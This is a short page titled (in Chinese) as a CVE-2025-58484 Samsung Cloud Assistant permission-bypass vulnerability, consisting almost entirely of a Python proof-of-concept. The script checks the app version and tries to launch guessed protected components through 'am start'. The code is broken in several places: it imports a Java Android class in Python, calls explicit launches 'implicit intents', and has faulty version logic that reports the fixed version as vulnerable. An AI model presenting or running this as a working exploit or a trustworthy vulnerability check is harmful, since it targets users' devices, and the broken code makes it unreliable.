CVE-2025-58484 Samsung Cloud Assistant权限配置错误漏洞

# CVE-2025-58484 PoC - Samsung Cloud Assistant Permission Bypass # This PoC demonstrates attempting to access protected components import subprocess import android.os.Bundle def check_vulnerable_version(): """Check if Samsung Cloud Assistant version is vulnerable""" try: # Get installed version result = subprocess.check_output([ 'dumpsys', 'package', 'com.samsung.android.scloud' ]).decode('utf-8') # Parse version from package info for line in result.split('\n'): if 'versionName' in line: version = line.split('=')[1].strip() print(f"Installed version: {version}") return version except Exception as e: print(f"Error checking version: {e}") return None def exploit_permission_bypass(): """ Attempt to exploit incorrect default permissions This PoC attempts to access protected components via implicit intents """ vulnerable_components = [ # Example component paths (may vary by version) 'com.samsung.android.scloud/.main.MainActivity', 'com.samsung.android.scloud/.sync.SyncService', 'com.samsung.android.scloud/.provider.SCloudProvider' ] for component in vulnerable_components: try: # Attempt to launch protected activity without proper permissions intent = f"am start -n {component}" result = subprocess.check_output( intent.split(), stderr=subprocess.STDOUT ).decode('utf-8') print(f"Component {component}: Accessible (VULNERABLE)") except subprocess.CalledProcessError as e: print(f"Component {component}: Protected (PATCHED)") except Exception as e: print(f"Error testing {component}: {e}") def verify_fix(): """Verify if the fix has been applied""" version = check_vulnerable_version() if version: # Compare version numbers version_parts = version.split('.') fixed_parts = [8, 0, 3, 8] for i, part in enumerate(version_parts[:4]): if int(part) < fixed_parts[i]: print("Status: VULNERABLE - Update recommended") return False elif int(part) > fixed_parts[i]: print("Status: PATCHED - Version is secure") return True return False if __name__ == "__main__": print("CVE-2025-58484 PoC - Samsung Cloud Assistant Permission Bypass") print("=" * 60) verify_fix() print("\nRunning exploit test...") exploit_permission_bypass()